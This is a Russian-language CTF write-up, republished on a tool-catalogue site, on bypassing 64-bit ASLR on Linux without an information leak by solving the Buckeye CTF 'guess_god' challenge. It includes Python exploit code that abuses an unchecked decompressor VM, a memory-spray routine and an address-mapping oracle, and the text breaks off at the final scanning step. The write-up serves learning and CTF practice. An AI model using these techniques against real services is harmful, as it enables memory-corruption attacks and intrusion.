Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
how-to-bypass-aslr-on-linux-x86_64 — Обход ASLR без утечки информации | Kitploit
Инструменты/GitHubGitHub/nick0ve/how-to-bypass-aslr-on-linux-x86_64
ЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubnick0ve/how-to-bypass-aslr-on-linux-x86_64

how-to-bypass-aslr-on-linux-x86_64

Обход ASLR без утечки информации

Репозиторий
1671744 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Взлом 64-битного ASLR на Linux x86-64

В этой статье я расскажу о применении техники, описанной Samuel Groß в его Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass, для обхода ASLR на Linux x86_64.

Чтобы это продемонстрировать, я решу pwnable-задание с Buckeye CTF — guess_god.

Я постараюсь сделать материал максимально доступным для новичков, так что не стесняйтесь пропускать любые разделы, если чувствуете себя достаточно уверенно и хотите сразу перейти к эксплойту.

0. Введение


Я не участвовал в CTF, но заинтересовался этим заданием примерно за 2 часа до конца соревнования благодаря Guray00, который просил помощи в дискорде fibonhack по поводу каких-то криптографических шалостей.

Я не смог ему помочь, но зато посмотрел на pwnable-задания и решил, что будет полезно разобраться в блогпосте от P0 и, возможно, получить тот самый баунти.

1. ASLR и способы его обхода

1.1 Что такое ASLR?

Address Space Layout Randomization (ASLR) — это техника компьютерной безопасности, которая заключается в случайном размещении базового адреса исполняемого файла, а также позиций библиотек, кучи и стека в адресном пространстве процесса.

1.2 ASLR в Linux

В Linux вы можете просмотреть маппинги процесса, зная его pid, через procfs, прочитав файл /proc/<pid>/maps.

Если вы — процесс и хотите узнать собственные маппинги памяти, вы можете прочитать /proc/self/maps.

Например, можно попробовать прочитать /proc/self/maps с помощью cat:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

root@kitploit:~
### Шаблоны раскладки памяти

Если сделать это несколько раз, можно сделать вывод:
* Базовый адрес PIE бинарника должен находиться в диапазоне 0x00005500_00000000-0x00005700_00000000, то есть 2 ТБ возможных адресов.
* Куча находится рядом с бинарником.
* Библиотеки попадают в диапазон 0x00007f00_00000000 - 0x00007fff_ffffffff, 1 ТБ возможных адресов.
* Стек находится (в большинстве случаев) в диапазоне 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16 ГБ возможных адресов.
* Диапазон 0xffffffffff600000 - 0xffffffffff601000 всегда отображён, вы можете прочитать [эту статью](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso), если вам интересно, что это.

## 1.3 Как обойти ASLR без информационной утечки

Давайте обсудим, что можно сделать для обхода ASLR, когда информационная утечка невозможна.

Это моя попытка обобщить то, что я вынес из поста в блоге Saelo.

Для обхода ASLR вам нужно:
* Техника распыления памяти, позволяющая отобразить непрерывную память заданного размера в заданном диапазоне адресов.
  
  Как он говорит, есть два способа сделать это:
  1. Используя утечку памяти (не информационную утечку!) — баг, при котором фрагмент памяти «забывается» и никогда не освобождается; нужно запускать его несколько раз, пока не утечёт нужный объём памяти.
  2. Найдя и используя «усиливающий гаджет» (amplification gadget): фрагмент кода, который берёт существующий блок данных и копирует его, возможно несколько раз, что позволяет атакующему распылить большой объём памяти, отправив лишь относительно небольшое количество байт.
* Оракул `isAddressMapped`, который по данному адресу сообщает, отображается ли этот адрес.

### PoC обхода ASLR в Linux

Давайте попробуем воспроизвести PoC от saelo, чтобы полностью сломать ASLR в Linux.

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> PoC от saelo</i> <p/> <br/>

В Linux это не так просто: полностью сломать ASLR можно, только если вы способны выделить 16 ТБ памяти.```C
#include <stdio.h>
#include <stdlib.h>

int main()
{
    // 64gb
    size_t size = 0x1000000000;

    // 16TB allocations
    for (int i = 0; i < 256; i++) {
        void *mem = malloc(size); // this ends up calling mmap
        if (!mem) {
            puts("Failed");
            return 1;
        }
        printf("%p\n", mem);
    }

    unsigned int *mem = (void*)0x7f0000000000ULL;
    *mem = 0x41414141;
    printf("R/W to %p: %x\n", mem, *mem);

    return 0;
}

Примечание о выделении памяти в glibc

Из примечаний man malloc:

  • Обычно malloc() выделяет память из кучи и при необходимости изменяет размер кучи с помощью sbrk(2). Когда выделяются блоки памяти размером больше MMAP_THRESHOLD байт, реализация malloc() в glibc выделяет память как приватное анонимное отображение с помощью mmap(2). По умолчанию MMAP_THRESHOLD равен 128 КБ, но его можно изменить с помощью mallopt(3). На выделения, выполняемые через mmap(2), не действует ограничение ресурса RLIMIT_DATA (см. getrlimit(2)).

Таким образом, void *mem = malloc(size) в итоге вызовет mmap(size + malloc_metadata_size, ...)

Поскольку библиотеки отображаются в процесс через mmap с помощью ld, эти выделения окажутся рядом с библиотеками.

Приём с пересечением границы

Если посмотреть на адреса, возвращаемые malloc, можно лучше понять, что происходит. Про-совет: смотрите на старшие байты.

адреспересечение границы 16 ТБ?
0x7fb03b55e010Нет
0x7fa03b55d010Нет
0x7f903b55c010Нет
0x7f803b55b010Нет
0x7f703b55a010Нет
0x7f603b559010Нет
0x7f503b558010Нет
0x7f403b557010Нет
0x7f303b556010Нет
0x7f203b555010Нет
0x7f103b554010Нет
0x7f003b553010Нет
0x7ef03b552010Да
0x7ee03b551010Да
0x7ed03b550010Да
0x7ec03b54f010Да

PoC-эксплойт использует тот факт, что в определённый момент старший байт возвращаемого адреса меняется с 7F на 7E, и, поскольку выделяемые области памяти идут подряд, внутри этого диапазона обязательно что-то есть. (Да, мы применяем теорему Больцано — Вейерштрасса, чтобы решить эту задачу!)

2 Задание

К счастью, благодаря автору, в zip-архиве содержатся бинарники, исходный код и dockerfile, позволяющие воспроизвести ту же среду, что и на удалённом сервере.


2.1 Первоначальный доступ

Всегда полезно получить некоторое представление об окружении; давайте просмотрим файлы и сделаем несколько заметок.

  • jail.cfg устанавливает некоторые ограничения; не будем забывать об этих лимитах, поскольку они могут испортить эксплойт: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB
    root@kitploit:~
  • Из Dockerfile можно узнать кое-что интересное:
    1. Собирается и устанавливается oatpp 1.2.5, возможно, в этой конкретной версии есть полезные баги?

      root@kitploit:~
      # Install oatpp
      RUN git clone https://github.com/oatpp/oatpp.git
      RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
      
    2. Задача собирается с нуля

      root@kitploit:~
      WORKDIR /home/ctf/challenge/src/
      RUN mkdir -p src/build && cd src/build && cmake .. && make
      RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt /   home/  ctf/challenge/
      

      Это может быть проблемой, поэтому вместо этого скопируем предоставленные бинарники.

      root@kitploit:~
      COPY bins/flag_server-exe /home/ctf/challenge/
      COPY bins/libkylezip.so /home/ctf/challenge/
      
  • И последнее: проверим защиты предоставленных бинарников.


    Отлично, libkylezip.so скомпилирован с Partial RELRO, а это значит, что GOT доступен для записи, имейте это в виду, когда захотим получить выполнение кода.

2.2 Настройка локального окружения и исследование приложения

Файл docker-compose.yml предоставлен, так что совсем несложно получить рабочее локальное окружение для исследования. Для тех, кто не уверенно работает с docker, вот список команд, которые нужно знать, чтобы исследовать задачу локально.```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container

docker ps # list containers docker exec -it # exec COMMAND into the container

root@kitploit:~
После выполнения `docker-compose build` вы можете запустить `docker-compose up` для старта контейнера и подключиться к заданию с помощью `nc 127.0.0.1 9000`
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/> 

# 3. Анализ исходного кода

Теперь, когда у нас есть базовое понимание того, что нужно сделать для обхода ASLR, давайте посмотрим на исходный код, помня о том, что нам нужны:
* способ распылять память в известных диапазонах памяти
* оракул isAddrMapped

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> Папка с исходным кодом </i><p/> 

Это в основном связующий код для запуска веб-сервера oatpp; на самом деле важные файлы, которые мы будем анализировать:
* src/controller/MyController.*
* kylezip/decompress.*

## 3.1 MyController.*

<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/> 

Здесь 3 эндпоинта:
* `/`
* `GET /files/{fileId}` -> Скачать ранее загруженный файл; если extract истинно, распаковать его перед скачиванием.
* `POST /upload/{fileId}` -> Загрузить файл с указанным {fileId}.

И одна функция, реализованная в `MyController.cpp````C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract) 

который:

  • Установите to_open в {file_id} или {file_id}.unkyle ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str();

    root@kitploit:~
  • Если это первый раз, когда мы запрашиваем извлечение {file_id}, то для него вызывается decompress, который запишет распакованный файл {file_id} в {file_id}.unkyle. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL;

    root@kitploit:~
    /* Need to create decompressed version of file
     * Kyle gave me a buggy library so we are going to fork
     * in case we crash the web server will still stay up.
     */
    pid_t p = fork();
    if (p == 0) {
      decompress(filename);
      exit(0);
    } else {
      waitpid(p, NULL, 0);
    }
    
    
    fd = open(to_open.c_str(), O_RDONLY);
    if (fd == -1) {
      return NULL;
    }
    

    }

    root@kitploit:~
  • В конце отобразите результат в памяти с помощью mmap. ```C struct stat sb;

    if (fstat(fd, &sb) != 0) { return NULL; }

    /* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

Observations

  • fork() создаёт новый процесс путём дублирования вызывающего процесса; на момент вызова fork() обе области памяти имеют одинаковое содержимое.

    Итак, если мы сможем превратить decompress() в оракул, который:

    • Завершается аварийно на некорректных адресах
    • Не завершается аварийно на корректных адресах

    Мы могли бы использовать этот примитив, чтобы сделать вывод об адресном пространстве родителя.

  • В родительском процессе есть вызов mmap: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

    root@kitploit:~

если мы можем контролировать sb.st_size, который является размером распакованного файла, мы можем легко превратить его в примитив распыления памяти.

3.2 decompress.*

decompress()```C

int decompress(const char *fname)

root@kitploit:~
* Сопоставляет входной файл с адресом `0x42069000000`.
* Сопоставляет выходной файл с адресом `0x13371337000`.
* Вызывает do_decompress(), которая выполняет распаковку.

Ожидается, что файл имеет следующий формат:
| смещение | имя | тип | описание |
| - | - | - | - |
| +0h | magic | uint64 | магическое значение, ожидается 0x0123456789abcdef |
| +8h | filesize | uint64 | размер распакованного файла |

### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)

Вы можете рассматривать эту функцию как простую виртуальную машину, которая выполняет байт-код, на который указывает in, и записывает результат в буфер, на который указывает out.

in указывает на наш {file_id}.

out указывает на {file_id.unkyle}.

Эта ВМ имеет 4 опкода:

  • 0 -> NOP

  • 1 -> STORE(u8 b)

    записывает b в out, увеличивает out на 1.

    Реализация опкода: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }

    root@kitploit:~
  • 2 -> SEEK(u64 off)

    устанавливает out в out + off.

    out и off являются 64-битными значениями, поэтому out = out+off эквивалентно out = (out+off) % MAX_64BIT_VALUE; это называется целочисленным переполнением, и мы можем использовать это поведение, чтобы достичь любого 64-битного значения. Пример: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64

    We are at 0xffffffff, what can we add to reach 0?

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    Result = 0xffffffff00000001

    That's the same as doing this

    M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64

    print ('{:#x}'.format(get_off(0xffffffff, 0)))

    root@kitploit:~

Реализация опкода: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }

root@kitploit:~
* 3 -> LOAD(off, size).  
Скопируйте `size` байт из `out - off` в `out`, затем увеличьте `out` на 8.

Реализация опкода:  ```C
case 3: {
  // Copy some previously written bytes
  uint64_t off = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  uint64_t count = *(uint64_t*)(&in[cur]);
  cur += sizeof(off);
  memcpy(out, out-off, count);
  out += count;
  break;
}

Ни в одной из операций нет проверки границ, что даёт нам 2 полезных примитива:

  • Read What Where, используя SEEK+LOAD
  • Write What Where: используя SEEK+STORE

Я использовал этот код для сборки байткода:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1

class CompressedFile(): slots = ['cur', 'content', 'out']

root@kitploit:~
def __init__(self, filesize):
    self.cur = 16
    self.content = b''
    self.content += p64(0x0123456789abcdef) # magic
    self.content += p64(filesize) # file size
    self.out = OUT_ADDR

def nop(self):
    self.content += b'\x00'
    self.cur += 1

def write(self, b: bytes):
    assert len(b) == 1

    self.content += b'\x01' + b
    self.cur += 2
    self.out += 1

def seek(self, off):
    self.content += b'\x02'
    self.content += p64(off)
    self.cur += 9

def memcpy(self, off, count):
    # memcpy(out, out-off, count);
    self.content += b'\x03'
    self.content += p64(off)
    self.content += p64(count)
    self.cur += 17
root@kitploit:~
# 4. Взаимодействие с бинарным файлом

Прежде чем перейти к этапу эксплуатации, всегда полезно создать что-то, что позволит вам легко взаимодействовать с бинарным файлом, чтобы не тратить время впустую.```py
import requests

def uploadFile(blob: bytes, fileid: int):
    assert (fileid < (1<<31) - 1)

    multipart_form_data = {
        'file': (f'payload_{fileid}', blob),
    }

    res = requests.post(
        f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
        files=multipart_form_data
    )

    return res

def getFile(fileid: int, extract="true"):
    res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
    return res

Изучаем отображения памяти задания

Когда я пытался решить задание, это было очень важно — я очень долго смотрел на отображения памяти.

Для этого можно запустить локальный экземпляр задания и читать maps процесса после выполнения некоторых операций.


4.2 Оракул isAddrMapped

У нас есть примитив чтения «что-где», так что построить оракул isAddressMapped совсем несложно.

Мой способ заключался в таком байткоде:

  • memcpy(out, targetAddress, 1)
  • write(b'A')

Если targetAddress не отображён, дочерняя программа падает с segfault на memcpy, и мы получаем распакованный файл, заполненный нулевыми байтами.

Если targetAddress отображён, второй байт распакованного файла равен b'\x41'.```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)

root@kitploit:~
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')

uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41

return isMapped
root@kitploit:~
## 4.3 Примитив распыления памяти

Мы можем полностью контролировать размер распакованного файла и получаем mmap этого размера в [MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62).

В своём эксплойте я использовал функцию `isAddrMapped` и изменял `filelen`.

Например, попробуем выделить непрерывный фрагмент размером = 0x4000000 = 64 МБ.```py
isAddrMapped(IN_ADDR, 0, 0x4000000)

Вот результат:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...

root@kitploit:~
Если вы попробуете сделать это снова:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)

Вот результат:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle

root@kitploit:~
Отлично! Множественные выделения не будут иметь промежутков.

## 4.4 Сколько памяти распылять?

Как видно из [этого PoC](#poc-of-aslr-bypass-on-linux), идеальный размер для непрерывно отображаемой памяти составил бы 16 ТБ.

К сожалению, если попытаться выделить 16 ТБ памяти на удалённом сервере, вызов mmap завершится неудачей, потому что [nsjail ограничивает это](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold).

После некоторых проб и ошибок я выяснил, что могу распылять примерно 3840 МБ памяти с помощью этого кода:```py
size =    0x000004000000
for i in range(0, 60):
    print ('.', end='')
    isAddrMapped(IN_ADDR, i, size)

в результате отображения памяти будут выглядеть примерно так:

Результат Memory Spray```

root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0

... Libraries: ...

7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so

...

root@kitploit:~
Давайте сосредоточим внимание на адресах, созданных при распылении памяти. \(*.unkyle files \)

Мы можем попробовать применить [трюк с пересечением границы](#Boundary-cross-trick).

| адрес | пересечение границы 4 ГБ?
| - |-
| 7fe2dc000000 | Нет
| 7fe2e0000000 | Нет
| 7fe2e4000000 | Нет
| 7fe2e8000000 | Нет
| 7fe2ec000000 | Нет
| 7fe2f0000000 | Нет
| 7fe2f4000000 | Нет
| 7fe2f8000000 | Нет
| 7fe2fc000000 | Нет
| 7fe300000000 | Да
| 7fe304000000 | Да
| 7fe308000000 | Да
Используя переход от 7fe2.. к 7fe3.., мы можем сканировать память с шагом 0x100000000 = 4 ГБ.

## 4.5 Наконец-то обходим ASLR

Учитывая такой размер шага, мы можем сканировать от `start=0x7f0000000000` до `end=0x800000000000` всего за `end - start / size` = 256 запросов.```py
start = 0x7f0000000000
end = 0x800000000000 
step = 0x100000000 # 4gb

